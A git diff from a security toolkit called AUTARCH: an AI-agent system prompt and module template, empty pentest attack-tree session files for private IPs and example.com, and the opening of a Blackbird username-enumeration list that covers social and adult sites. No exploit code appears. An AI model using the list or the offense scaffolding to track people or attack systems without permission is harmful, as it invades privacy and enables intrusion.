asks you to build a tool or module, you build it. + +## AUTARCH Codebase Structure +- `modules/` — Plugin modules (Python files). Each one is a standalone tool. +- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.) +- `web/` — Flask web dashboard (routes/, templates/, static/) +- `data/` — Databases, configs, JSON files +- `models/` — LLM model files (GGUF) + +## Module Categories +| Category | Color | Purpose | +|----------|-------|---------| +| defense | Blue | Security hardening, monitoring, firewalls | +| offense | Red | Penetration testing, exploitation | +| counter | Purple | Counter-intelligence, threat response | +| analyze | Cyan | Analysis, forensics, packet inspection | +| osint | Green | Open source intelligence gathering | +| simulate | Yellow | Attack simulation, red team exercises | + +## How to Create a Module +Every module in `modules/` MUST have these attributes and a `run()` function: + +```python +""" +Module description docstring +""" +import os +import sys +import subprocess +from pathlib import Path + +# Module metadata — REQUIRED +DESCRIPTION = "What this module does" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class ModuleClassName: + """Main class for this module.""" + + def print_status(self, message, status="info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd, timeout=30): + try: + r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return r.returncode == 0, r.stdout.strip() + except Exception as e: + return False, str(e) + + # Add your methods here... + + +def run(): + """Entry point for CLI mode.""" + mod = ModuleClassName() + # Interactive menu or direct execution +``` + +## Important Rules +1. Use the `create_module` tool to write modules — it validates and saves them automatically +2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY +3. Always include a `run()` function +4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash) +5. Import from `core.banner` for Colors +6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`) +7. Study existing modules with `read_file` if you need to understand patterns +8. The web dashboard discovers modules automatically from the `modules/` directory + +## Platform +This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks. + +## Existing Modules (for reference) +- defender.py — System hardening checks (CATEGORY: defense) +- defender_windows.py — Windows-native security checks (CATEGORY: defense) +- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense) +- recon.py — Network reconnaissance (CATEGORY: offense) +- counter.py — Counter-intelligence tools (CATEGORY: counter) +- adultscan.py — Adult content scanner (CATEGORY: analyze) +- agent_hal.py — AI security automation (CATEGORY: core) +- wireshark.py — Packet analysis (CATEGORY: analyze) +- hardware_local.py — Hardware interaction (CATEGORY: hardware) + +## How You Should Respond +- For simple questions: answer directly +- For module creation requests: use the create_module tool +- For system queries: use the shell tool +- For code exploration: use read_file and search_files +- Always explain what you're doing and why diff --git a/data/pentest_sessions/10_0_0_56_20260214_010220.json b/data/pentest_sessions/10_0_0_56_20260214_010220.json new file mode 100644 index 0000000..40c80e6 --- /dev/null +++ b/data/pentest_sessions/10_0_0_56_20260214_010220.json @@ -0,0 +1,129 @@ +{ + "session_id": "10_0_0_56_20260214_010220", + "target": "10.0.0.56", + "state": "completed", + "created_at": "2026-02-14T01:02:20.746609", + "updated_at": "2026-02-14T01:12:20.951316", + "notes": "", + "step_count": 0, + "tree": { + "target": "10.0.0.56", + "created_at": "2026-02-14T01:02:20.746597", + "updated_at": "2026-02-14T01:02:20.746742", + "root_nodes": [ + "e0d00dbc", + "cf120ead", + "6f4a664c", + "814f0376", + "5b602881", + "4d2e70e8" + ], + "nodes": { + "e0d00dbc": { + "id": "e0d00dbc", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-02-14T01:02:20.746668", + "updated_at": "2026-02-14T01:02:20.746668" + }, + "cf120ead": { + "id": "cf120ead", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-02-14T01:02:20.746685", + "updated_at": "2026-02-14T01:02:20.746685" + }, + "6f4a664c": { + "id": "6f4a664c", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746699", + "updated_at": "2026-02-14T01:02:20.746699" + }, + "814f0376": { + "id": "814f0376", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-02-14T01:02:20.746711", + "updated_at": "2026-02-14T01:02:20.746711" + }, + "5b602881": { + "id": "5b602881", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746726", + "updated_at": "2026-02-14T01:02:20.746726" + }, + "4d2e70e8": { + "id": "4d2e70e8", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-02-14T01:02:20.746739", + "updated_at": "2026-02-14T01:02:20.746739" + } + } + }, + "events": [ + { + "timestamp": "2026-02-14T01:02:20.746747", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + }, + { + "timestamp": "2026-02-14T01:12:20.951316", + "event_type": "state_change", + "data": { + "from": "running", + "to": "completed", + "summary": "" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/192_168_1_100_20260127_202421.json b/data/pentest_sessions/192_168_1_100_20260127_202421.json new file mode 100644 index 0000000..b59d31f --- /dev/null +++ b/data/pentest_sessions/192_168_1_100_20260127_202421.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_1_100_20260127_202421", + "target": "192.168.1.100", + "state": "running", + "created_at": "2026-01-27T20:24:21.604010", + "updated_at": "2026-01-27T20:24:21.604098", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.1.100", + "created_at": "2026-01-27T20:24:21.604003", + "updated_at": "2026-01-27T20:24:21.604091", + "root_nodes": [ + "4be13ed9", + "8dc38740", + "22ee2768", + "2c45477f", + "6f793ae8", + "778fc896" + ], + "nodes": { + "4be13ed9": { + "id": "4be13ed9", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-27T20:24:21.604032", + "updated_at": "2026-01-27T20:24:21.604032" + }, + "8dc38740": { + "id": "8dc38740", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-27T20:24:21.604044", + "updated_at": "2026-01-27T20:24:21.604044" + }, + "22ee2768": { + "id": "22ee2768", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604056", + "updated_at": "2026-01-27T20:24:21.604056" + }, + "2c45477f": { + "id": "2c45477f", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-27T20:24:21.604066", + "updated_at": "2026-01-27T20:24:21.604066" + }, + "6f793ae8": { + "id": "6f793ae8", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604077", + "updated_at": "2026-01-27T20:24:21.604077" + }, + "778fc896": { + "id": "778fc896", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-27T20:24:21.604088", + "updated_at": "2026-01-27T20:24:21.604088" + } + } + }, + "events": [ + { + "timestamp": "2026-01-27T20:24:21.604098", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/192_168_50_78_20260130_133833.json b/data/pentest_sessions/192_168_50_78_20260130_133833.json new file mode 100644 index 0000000..eb0afcf --- /dev/null +++ b/data/pentest_sessions/192_168_50_78_20260130_133833.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_50_78_20260130_133833", + "target": "192.168.50.78", + "state": "running", + "created_at": "2026-01-30T13:38:33.830336", + "updated_at": "2026-01-30T13:38:33.830464", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.50.78", + "created_at": "2026-01-30T13:38:33.830323", + "updated_at": "2026-01-30T13:38:33.830460", + "root_nodes": [ + "e4c40c28", + "ddd63828", + "b3f2634d", + "9c162c78", + "aa40d5a3", + "0c50a23d" + ], + "nodes": { + "e4c40c28": { + "id": "e4c40c28", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-30T13:38:33.830390", + "updated_at": "2026-01-30T13:38:33.830390" + }, + "ddd63828": { + "id": "ddd63828", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-30T13:38:33.830408", + "updated_at": "2026-01-30T13:38:33.830408" + }, + "b3f2634d": { + "id": "b3f2634d", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830421", + "updated_at": "2026-01-30T13:38:33.830421" + }, + "9c162c78": { + "id": "9c162c78", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-30T13:38:33.830433", + "updated_at": "2026-01-30T13:38:33.830433" + }, + "aa40d5a3": { + "id": "aa40d5a3", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830445", + "updated_at": "2026-01-30T13:38:33.830445" + }, + "0c50a23d": { + "id": "0c50a23d", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-30T13:38:33.830457", + "updated_at": "2026-01-30T13:38:33.830457" + } + } + }, + "events": [ + { + "timestamp": "2026-01-30T13:38:33.830464", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/example_com_20260128_192244.json b/data/pentest_sessions/example_com_20260128_192244.json new file mode 100644 index 0000000..4bcc37c --- /dev/null +++ b/data/pentest_sessions/example_com_20260128_192244.json @@ -0,0 +1,120 @@ +{ + "session_id": "example_com_20260128_192244", + "target": "example.com", + "state": "running", + "created_at": "2026-01-28T19:22:44.670292", + "updated_at": "2026-01-28T19:22:44.670428", + "notes": "test", + "step_count": 0, + "tree": { + "target": "example.com", + "created_at": "2026-01-28T19:22:44.670279", + "updated_at": "2026-01-28T19:22:44.670423", + "root_nodes": [ + "466dcf04", + "55991daa", + "e3209082", + "af036f87", + "633c0eeb", + "8584f7fc" + ], + "nodes": { + "466dcf04": { + "id": "466dcf04", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-28T19:22:44.670353", + "updated_at": "2026-01-28T19:22:44.670353" + }, + "55991daa": { + "id": "55991daa", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-28T19:22:44.670371", + "updated_at": "2026-01-28T19:22:44.670371" + }, + "e3209082": { + "id": "e3209082", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670384", + "updated_at": "2026-01-28T19:22:44.670384" + }, + "af036f87": { + "id": "af036f87", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-28T19:22:44.670397", + "updated_at": "2026-01-28T19:22:44.670397" + }, + "633c0eeb": { + "id": "633c0eeb", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670408", + "updated_at": "2026-01-28T19:22:44.670408" + }, + "8584f7fc": { + "id": "8584f7fc", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-28T19:22:44.670420", + "updated_at": "2026-01-28T19:22:44.670420" + } + } + }, + "events": [ + { + "timestamp": "2026-01-28T19:22:44.670428", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/sites/blackbird.json b/data/sites/blackbird.json new file mode 100644 index 0000000..7d4ad65 --- /dev/null +++ b/data/sites/blackbird.json @@ -0,0 +1,10185 @@ +{ + "license": [ + "Copyright (C) 2025 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA." + ], + "authors": [ + "0x9404", + "3xp0rt", + "alexisthereal", + "alvaromaltrain", + "arin17bishwa", + "AXRoux", + "balestek", + "Brenden2008", + "C3n7ral051nt4g3ncy", + "Contributions since 2023-12", + "degun-osint", + "End of interactive chart.", + "fres621", + "Its-Just-Nans", + "Itsoon", + "janhalendk", + "K2SOsint", + "maxk096", + "Micah Hoffman", + "ni5arga", + "p1ngul1n0", + "Paradoxxs", + "serdaraltin", + "SlopeSlayer910", + "SorkoPiko", + "TikvahTerminator" + ], + "categories": [ + "archived", + "art", + "blog", + "business", + "coding", + "dating", + "finance", + "gaming", + "health", + "hobby", + "images", + "misc", + "music", + "news", + "political", + "search", + "shopping", + "social", + "tech", + "video", + "xx NSFW xx" + ], + "sites": [ + { + "name": "21buttons", + "uri_check": "https://www.21buttons.com/buttoner/{account}", + "e_code": 200, + "e_string": "profile-info__profile-data__name", + "m_string": "This is not the page you're looking for", + "m_code": 404, + "known": [ + "patricialmendro", + "ginamariahoffmann", + "espeworkout" + ], + "cat": "social" + }, + { + "name": "247CTF", + "uri_check": "https://247ctf.com/progress/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "

    Redirecting...

    ", + "m_code": 302, + "known": [ + "pottm", + "jusb3" + ], + "cat": "tech" + }, + { + "name": "247sports", + "uri_check": "https://247sports.com/User/{account}/", + "e_code": 200, + "e_string": "247Sports", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "hobby" + }, + { + "name": "35photo", + "uri_check": "https://35photo.pro/@{account}/", + "e_code": 200, + "e_string": "Ошибка / 7dach.ru", + "m_code": 404, + "known": [ + "lana", + "svetlana" + ], + "cat": "social" + }, + { + "name": "about.me", + "uri_check": "https://about.me/{account}", + "e_code": 200, + "e_string": " | about.me", + "m_string": "about.me", + "m_code": 404, + "known": [ + "john", + "jill" + ], + "cat": "social" + }, + { + "name": "ACF", + "uri_check": "https://support.advancedcustomfields.com/forums/users/{account}/", + "e_code": 200, + "e_string": "ACF Support", + "m_string": "Page Not Found", + "m_code": 200, + "known": [ + "mike", + "greg" + ], + "cat": "coding" + }, + { + "name": "AdmireMe.VIP", + "uri_check": "https://admireme.vip/{account}/", + "e_code": 200, + "e_string": "creator-stat subscriber", + "m_string": "<title>Page Not Found |", + "m_code": 404, + "known": [ + "justjessicarabbit", + "savannah250xo" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Adult_Forum", + "uri_check": "https://adultforum.gr/{account}-glamour-escorts/", + "e_code": 200, + "e_string": "Glamour Escorts ", + "m_string": "Page not found - Adult Forum Gr", + "m_code": 404, + "known": [ + "nastya3", + "ekaterina" + ], + "cat": "xx NSFW xx" + }, + { + "name": "adultism", + "uri_check": "https://www.adultism.com/profile/{account}", + "e_code": 200, + "e_string": "Last login:", + "m_string": "<title> Not Found", + "m_code": 404, + "known": [ + "laura", + "sara" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ADVFN", + "uri_check": "https://uk.advfn.com/forum/profile/{account}", + "e_code": 200, + "e_string": "Profile | ADVFN", + "m_string": "ADVFN ERROR - Page Not Found", + "m_code": 404, + "known": [ + "crypto", + "crypto1" + ], + "cat": "finance" + }, + { + "name": "Airline_Pilot_Life", + "uri_check": "https://airlinepilot.life/u/{account}.json", + "uri_pretty": "https://airlinepilot.life/u/{account}", + "e_code": 200, + "e_string": "primary_group_name", + "m_string": "he requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "hannah", + "addison" + ], + "cat": "social" + }, + { + "name": "Airliners", + "uri_check": "https://www.airliners.net/user/{account}/profile", + "e_code": 200, + "e_string": "'s Profile | Airliners Members | Airliners.net", + "m_string": "An Error Occurred", + "m_code": 404, + "known": [ + "pilot", + "pilota" + ], + "cat": "social" + }, + { + "name": "akniga", + "uri_check": "https://akniga.org/profile/{account}", + "e_code": 200, + "e_string": " - Аудиокниги Клуб</title", + "m_string": "К сожалению, такой страницы не существует. Вероятно, она была удалена с сервера, либо ее здесь никогда не было.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "hobby" + }, + { + "name": "Albicla", + "uri_check": "https://albicla.com/{account}/post/1", + "uri_pretty": "https://albicla.com/{account}", + "e_code": 500, + "e_string": "500 Post tymczasowo niedostępny", + "m_string": "404 Nie znaleziono użytkownika", + "m_code": 200, + "known": [ + "GazetaPolska", + "GPCodziennie" + ], + "cat": "social" + }, + { + "name": "alik", + "uri_check": "https://www.alik.cz/u/{account}", + "e_code": 200, + "e_string": "Vizitka – Alík.cz", + "m_string": "Vizitka nenalezena", + "m_code": 404, + "known": [ + "igor", + "pavel" + ], + "cat": "social" + }, + { + "name": "AllMyLinks", + "uri_check": "https://allmylinks.com/{account}", + "e_code": 200, + "e_string": "class=\"site-profile guest\"", + "m_string": "class=\"site-error\"", + "m_code": 404, + "known": [ + "blue", + "goddessbecca" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Alura", + "uri_check": "https://cursos.alura.com.br/user/{account}", + "e_code": 200, + "e_string": "Perfil de", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "edmilson", + "jonathan" + ], + "cat": "tech" + }, + { + "name": "Ameblo", + "uri_check": "https://ameblo.jp/{account}", + "e_code": 200, + "e_string": "画像一覧", + "m_string": "削除された可能性がございます。", + "m_code": 404, + "known": [ + "ereko-blog", + "senpai" + ], + "cat": "blog" + }, + { + "name": "AmericanThinker", + "uri_check": "https://www.americanthinker.com/author/{account}/", + "e_code": 200, + "e_string": "Articles &", + "m_string": "American Thinker", + "m_code": 301, + "known": [ + "terrypaulding", + "monicashowalter" + ], + "cat": "political" + }, + { + "name": "AniList", + "uri_check": "https://graphql.anilist.co", + "uri_pretty": "https://anilist.co/user/{account}", + "post_body": "{\"query\":\"query{User(name:\\\"{account}\\\"){id name}}\"}", + "headers": { + "accept": "application/json", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Anime-Planet", + "uri_check": "https://www.anime-planet.com/api/validation/username", + "uri_pretty": "https://www.anime-planet.com/users/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 400, + "e_string": "\"msg\":\"Username is unavailable\"", + "m_string": "\"status\":\"ok\"", + "m_code": 200, + "known": [ + "zala", + "lindapearl" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "anonup", + "uri_check": "https://anonup.com/@{account}", + "e_code": 200, + "e_string": "Show followings", + "m_string": "Page not found!", + "m_code": 302, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Aparat", + "uri_check": "https://www.aparat.com/api/fa/v1/user/user/information/username/{account}", + "uri_pretty": "https://www.aparat.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "class=\"error-body\"", + "m_code": 404, + "known": [ + "abolfazlxmaster", + "siahkolah" + ], + "cat": "social" + }, + { + "name": "Apex Legends", + "uri_check": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{account}", + "uri_pretty": "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "Origin": "https://apex.tracker.gg", + "Referer": "https://apex.tracker.gg/", + "TE": "trailers", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "platformInfo", + "m_string": "CollectorResultStatus::NotFound", + "m_code": 404, + "known": [ + "tttcheekyttt", + "RollsRoyce_Dawn" + ], + "cat": "gaming" + }, + { + "name": "Appian", + "uri_check": "https://community.appian.com/members/{account}", + "e_code": 200, + "e_string": "User Profile", + "m_string": "Go back to our", + "m_code": 301, + "known": [ + "mikec", + "varunkumarb0001" + ], + "cat": "tech" + }, + { + "name": "Arch Linux GitLab", + "uri_check": "https://gitlab.archlinux.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.archlinux.org/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "morganamilo", + "nl6720" + ], + "cat": "social" + }, + { + "name": "Archive Of Our Own Account", + "uri_check": "https://archiveofourown.org/users/{account}", + "e_code": 200, + "e_string": "class=\"user home\"", + "m_string": "class=\"system errors error-404 region\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "ArchWiki", + "uri_check": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={account}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "uri_pretty": "https://wiki.archlinux.org/title/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":true", + "m_code": 200, + "known": [ + "Lahwaacz", + "Erus_Iluvatar" + ], + "cat": "social" + }, + { + "name": "Arduino (Forum)", + "uri_check": "https://forum.arduino.cc/u/{account}.json", + "uri_pretty": "https://forum.arduino.cc/u/{account}/summary", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error_type\":\"not_found\"", + "m_code": 404, + "known": [ + "martinhouse", + "gilshultz" + ], + "cat": "tech" + }, + { + "name": "Arduino (Project Hub)", + "uri_check": "https://projecthub.arduino.cc/{account}", + "e_code": 200, + "e_string": "\"userInfo\":{", + "m_string": "\"userInfo\":null", + "m_code": 200, + "known": [ + "peter", + "willy-js" + ], + "cat": "tech" + }, + { + "name": "ArmorGames", + "uri_check": "https://armorgames.com/user/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "404: Oh Noes!", + "m_code": 302, + "known": [ + "john", + "sammy" + ], + "cat": "gaming" + }, + { + "name": "Arsmate", + "uri_check": "https://arsmate.com/{account}", + "e_code": 200, + "e_string": "far fa-user-circle mr-1", + "m_string": "error-link mt-5", + "m_code": 404, + "known": [ + "Angelic", + "Vardoc" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ArtBreeder", + "uri_check": "https://www.artbreeder.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Not found:", + "m_code": 404, + "known": [ + "dolores", + "cyborghyena" + ], + "cat": "art" + }, + { + "name": "Artists & Clients", + "uri_check": "https://artistsnclients.com/people/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "The page you requested wasn't there when we tried to get it for you. What a bother!", + "m_code": 404, + "known": [ + "luluc0", + "MuraArts" + ], + "cat": "art" + }, + { + "name": "ArtStation", + "uri_check": "https://www.artstation.com/{account}", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kongaxl_design", + "alex_pi" + ], + "cat": "art" + }, + { + "name": "asciinema", + "uri_check": "https://asciinema.org/~{account}", + "e_code": 200, + "e_string": "class=\"profile-page\"", + "m_string": "<h1>404 Not Found</h1>", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "coding" + }, + { + "name": "AtCoder", + "uri_check": "https://atcoder.jp/users/{account}", + "e_code": 200, + "e_string": "<h3>Contest Status</h3>", + "m_string": ">404 Page Not Found</h1>", + "m_code": 404, + "known": [ + "apiad", + "kotatsugame" + ], + "cat": "coding" + }, + { + "name": "au.ru", + "uri_check": "https://au.ru/user/{account}/", + "e_code": 200, + "e_string": "Лоты пользователя ", + "m_string": "Пользователь не найден", + "m_code": 404, + "known": [ + "Svetlana7", + "nastya" + ], + "cat": "misc" + }, + { + "name": "Audiojungle", + "uri_check": "https://audiojungle.net/user/{account}", + "e_code": 200, + "e_string": "s profile on AudioJungle", + "m_string": "404 - Nothing to see here", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "music" + }, + { + "name": "Avid Community", + "uri_check": "https://community.avid.com/members/{account}/default.aspx", + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8", + "Cache-Control": "no-cache", + "Host": "community.avid.com", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "My Activity", + "m_string": "The user you requested cannot be found.", + "m_code": 302, + "known": [ + "Thayne", + "Admin" + ], + "cat": "music" + }, + { + "name": "babepedia", + "uri_check": "https://www.babepedia.com/user/{account}", + "e_code": 200, + "e_string": "'s Page", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "cherry", + "betty" + ], + "cat": "xx NSFW xx" + }, + { + "name": "BabyPips", + "uri_check": "https://forums.babypips.com/u/{account}.json", + "uri_pretty": "https://forums.babypips.com/u/{account}/summary", + "e_code": 200, + "e_string": "user_badges", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "baemax023", + "scottycarsonmvp" + ], + "cat": "social" + }, + { + "name": "Bandcamp", + "uri_check": "https://bandcamp.com/{account}", + "e_code": 200, + "e_string": " collection | Bandcamp", + "m_string": "

    Sorry, that something isn’t here.

    ", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "music" + }, + { + "name": "Bandlab", + "uri_check": "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty": "https://www.bandlab.com/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "Couldn't find any matching element, it might be deleted", + "m_code": 404, + "known": [ + "rave_flawless", + "delutaya" + ], + "cat": "music" + }, + { + "name": "bblog_ru", + "uri_check": "https://www.babyblog.ru/user/{account}", + "e_code": 200, + "e_string": ") — дневник на Babyblog.ru", + "m_string": "БэбиБлог - беременность, календарь беременности, дневники", + "m_code": 200, + "known": [ + "joyfitnessdance1", + "bobkokatya94" + ], + "cat": "misc" + }, + { + "name": "BDSMLR", + "uri_check": "https://{account}.bdsmlr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "login", + "m_string": "This blog doesn't exist.", + "m_code": 200, + "known": [ + "themunch", + "shibari4all" + ], + "cat": "xx NSFW xx" + }, + { + "name": "bdsmsingles", + "uri_check": "https://www.bdsmsingles.com/members/{account}/", + "e_code": 200, + "e_string": "Profile", + "m_string": "BDSM Singles", + "m_code": 302, + "known": [ + "GoddessBlueDiamo", + "aalama" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Beacons", + "uri_check": "https://beacons.ai/{account}", + "e_code": 200, + "e_string": " - Link in Bio & Creator Tools | Beacons", + "m_string": "The page you are looking for does not seem to exist anymore", + "m_code": 200, + "known": [ + "rafaballerini", + "lexaloco", + "jardred" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Bentbox", + "uri_check": "https://bentbox.co/{account}", + "e_code": 200, + "e_string": "
